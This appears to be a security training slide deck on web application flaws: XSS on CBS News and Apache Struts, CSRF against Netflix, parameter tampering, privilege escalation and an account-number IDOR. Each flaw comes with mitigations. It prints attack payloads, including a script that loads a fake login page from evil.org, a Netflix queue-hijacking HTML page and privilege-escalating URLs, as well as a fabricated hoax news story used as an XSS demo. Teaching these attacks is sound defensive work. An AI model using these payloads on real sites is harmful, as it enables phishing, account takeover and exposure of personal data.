Agenda

- Introduction
- Real-life vulnerabilities and attacks
  - Cross-site scripting
  - Cross-site request forgery
  - Parameter tampering
- Secure coding suggestions sprinkled throughout
Who’s Responsible for Application Security?

▪ Developers?
  ▪ focused on features and functionality
  ▪ don’t necessarily understand security concepts or even http protocol

▪ IT/Security Staff?
  ▪ Good at network security, keeping ports closed, watching for anomalies and such
  ▪ attack on application looks like normal network traffic
XSS -- CBS News site

- Zip code field on cbsnews.com weather page vulnerable to cross site scripting
- Exploited by creating a fake news story that looked legitimate
- Site has been fixed
George Bush appoints a 9 year old to be the chairperson of the Information Security Department

On Friday night, George Bush made an official announcement saying that Michael Antpov (http://michael.antpov.name), a 9 year old talented security specialist was to be the chairperson of the Information Security Department of the US. The debatable decision was approved by three-hour long discussion in the Senate.

Michael Antpov was noticed by the FBI service for his outstanding skills in the sphere of Information Security. He proved his ability to preside the abovementioned department defending 34 governmental web sites from Lebanon terrorist attacks.

Michael Antpov, son of the top-secret US spy, was born in Russia. 2 years of age, together with his parents, he moved to the USA to start his carrier in the CIA kindergarten. He continued his studies in the educational institution sub controlled by the CIA (names being erased for purpose of the National Security).
How it was done

- Specially-crafted link to cbsnews.com
- JavaScript is loaded from an external .js file
- Script executes, creating the “news story”
- Link:

How it was done, cont’d

Contents of .js file

document.write('<p align=left>Mon, 28 August 2006');
document.write('<p align=center><b>George Bush appoints a 9 year old to be the chairperson... </b>');
document.write('<p>On Friday night, George Bush made... ');
document.write('<p>Michael Antipov was noticed by the FBI... ');
document.write('<p>Michael Antipov, sun of the top-secret... ');
document.write('<p>From now on the citizens of the USA can... ');}
XSS Vulns are Common

- Web site SEARCH field – notorious for being vulnerable to XSS
- Example: parade.com


Note: %3C ➔ “<” %3E ➔ “>” %2F ➔ “/”
George Bush appoints a 9 year old to be the chairperson of the Information Security Department

On Friday night, George Bush made an official announcement saying that Michael Antipov (http://michael.antipov.name), a 9 year old talented security specialist was to be the chairperson of the Information Security Department of the US. The debatable decision was approved by three-hour long discussion in the Senate.

Michael Antipov was noticed by the FBI service for his outstanding skills in the sphere of Information Security. He proved his ability to preside the abovementioned department defending 34 governmental web sites from Lebanon terrorist attacks.

Michael Antipov, son of the top-secret US spy, was born in Russia. 2 years of age, together with his parents, he moved to the USA to start his carrier in the CIA kindergarten. He continued his studies in the educational institution sub controlled by the CIA (names being erased for purpose of the National Security). He obtained his MS degree being at the age of 7. Having reached the age of 8 he already had a PhD.
Session Hijacking with XSS

- Inject script in a URL to grab session ID’s
- Example:
  
  ```html
  ```
- Prevention? – Defense in Depth approach
  - Fix XSS vulnerabilities
  - Assign a new session ID after successful authentication
  - Mark cookie as “HttpOnly” and “Secure”
The application framework being used could make your app vulnerable.
Apache Struts error page

- Vulnerable to XSS prior to Struts 1.2.9
- Syntax: `http://server/path/[script-here].do`
- Sample Exploit:
  
  ```
  https://www.somesiteontheweb.com/somepath/
  <script>document fgColor="white";document.write("<iframe src='http://evil.org/twin.jsp' height='720' width='860' frameborder='0' />");</script>.do
  ```

  (twin.jsp is constructed so it looks like the legitimate login page)
Please enter the Username and Password to log into your account. If you wish to save your Username for future visits, please check the section to Save Username. If you do not remember your password, please click on the Forget Your Password? link and follow the directions.
Attacker page

"Invalid Path" error message is here, but font is white so victim is unable to see it
Preventing XSS

■ Validate input data
  ▸ Best: whitelisting (e.g. accept only a-z,A-Z,0-9)
  ▸ Blacklisting (reject <, >, &, =, %, :, ", " , ' )
  ▸ Don’t forget hidden form parameters

■ HTML encode when writing the page
  "<" → &lt;    ">" → &gt;    "&" → &amp;

  (use Reform encoding library – http://phed.org/pages/Reform)
Netflix.com

- Vulnerable to **Cross Site Request Forgery**
  - aka XSRF, CSRF, Session Riding, or Hostile Linking
- A web page exploits the presence of a Netflix cookie in browser
  - users who choose “remember me” option are especially at risk (persistent cookie)
- Specially-crafted URL in image tag
  - causes action to be invoked on user’s account
Exploiting Netflix

Visit my page and I’ll add Spongebob Squarepants to your queue:

<img src="http://www.netflix.com/AddToQueue?movieid=70011204" width="1" height="1" border="0">
Or, this will put Spongebob at the TOP of your queue:

```html
<script language="JavaScript" type="text/javascript">
    function load_image2()
    {
        var img2 = new Image();
        img2.src="http://www.netflix.com/MoveToTop?movieid=70011204&fromq=true";
    }
</script>
<body>
<img src="http://www.netflix.com/AddToQueue?movieid=70011204" width="1" height="1" border="0">
<script>setTimeout( 'load_image2()', 2000 );</script>
</body>
```
Exploiting Netflix, cont’d

- Some other, nastier attacks
  - Change the shipping address on the account... free DVD’s!
  - Change the email address and password on the account... your account is now mine!
  - Cancel your account (unconfirmed)
  - These were recently fixed by Netflix (October 2006)
    - New parameter called “authURL” must be passed
Mitigating XSRF/CSRF

- Use cryptographic token to prove the requestor knows a session-specific secret
- Require the token to be passed as an http request parameter and validate before performing requested action
- Example:
  
  ```
  XSRFPreventionToken = HMAC_sha1(Action_Name + Secret, SessionID)
  ```
News about the Netflix.com issue

Whitepapers about XSRF
by Jesse Burns
http://www.securenet.de/papers/Session_Riding.pdf
by Thomas Schreiber
Tampering with Parameters

- Understand that clients can change anything
- HTTP proxies make it easy
  - Paros, WebScarab, SPI Proxy
- Post or Get requests can be tampered with equally well
- Post is better for security...sensitive parameters don’t appear in web server logs and aren’t saved in browser
Elevate that Privilege

- Common problem in apps with multiple roles
- Low-level user wants access to admin functions... how?
  - Inspect HTML, Javascript, user guides, online help, etc. and browse directly to admin page
  - Inject a “secret” parameter: https://server/page?admin=1
  - Create a new user with the role you want by changing a parameter: https://server/page?newuser=tomthumb&newpass=secret&roleid=5
Large Organizations Not Immune

- IBM... WebSphere Host On-Demand
  - A framework for deploying legacy mainframe applications as Java applets
  - Includes an applet-based administrative interface
    - User authentication is required
    - Well, that was the idea...
https://server/hod/framset.html?...pnl=Logon,...
https://server/hod/framset.html?...pnl=os400proxy, ...

OS/400 Proxy Server Administration

Enable Proxy Server Service

- Yes
- No

OS/400 Proxy Server Port

3470

Maximum Connections

Apply  Cancel
You want to use the LDAP service, right?

Directory Service

- Use Directory Service (LDAP)
  - Destination Address: [redacted]
  - Destination Port: 389
  - Administrator Distinguished Name: fishnettest
  - Administrator Password: ************
  - Distinguished Name Suffix: [redacted]

- Advanced
  - Users Location: cn=users,
  - Groups Location: cn=user groups,
  - Domain Location: sys=HOD,

- Migrate Configuration to Directory Service

Apply  Cancel

Set active directory failed.
Design/Logic Flaws

- Poor design or faulty architecture can lead to a fundamentally insecure application
- **Example:** A web application for stockholders.

**Steps:**
1. Log in
2. From list, select the stock that you own
3. View account status, or receive a message that you don’t own that stock
Question: Why retrieve account data for ALL users who own a particular stock?
Page displayed when selecting a stock you don’t own:

NO INFORMATION WAS FOUND FOR THE SELECTED STOCK
Inspecting the HTTP Request

- Account number is being passed

  https://server/stockapp/ABC/process.html?Command=GetAccountFromList(0000000101)&SessionID=1d1f5wdf0gb8nx20h2gh05e3

- Should your application trust a value passed in from the client?
Page displayed after successful parameter tampering:

<table>
<thead>
<tr>
<th>Option to Sell Stock</th>
<th>Option to Change Address</th>
</tr>
</thead>
</table>

### Stock: IBM CORP
Account Number: 0000000105  Name: TIM Q FITZGERALD

**Registration**
TIM Q FITZGERALD
& ROSE FITZGERALD JT TEN
1230 SALMON STREET APT #120
TOPEKA KS 66601-3345

**Distribution Mailing Address**
There is no distribution address for this file.

**Temporary Mailing Address**
There is no temporary address for this file.

<table>
<thead>
<tr>
<th>Total Shares</th>
<th>550</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>550</td>
</tr>
<tr>
<td></td>
<td>0</td>
</tr>
</tbody>
</table>

**Terms & Conditions**

Privacy Policy
Thank you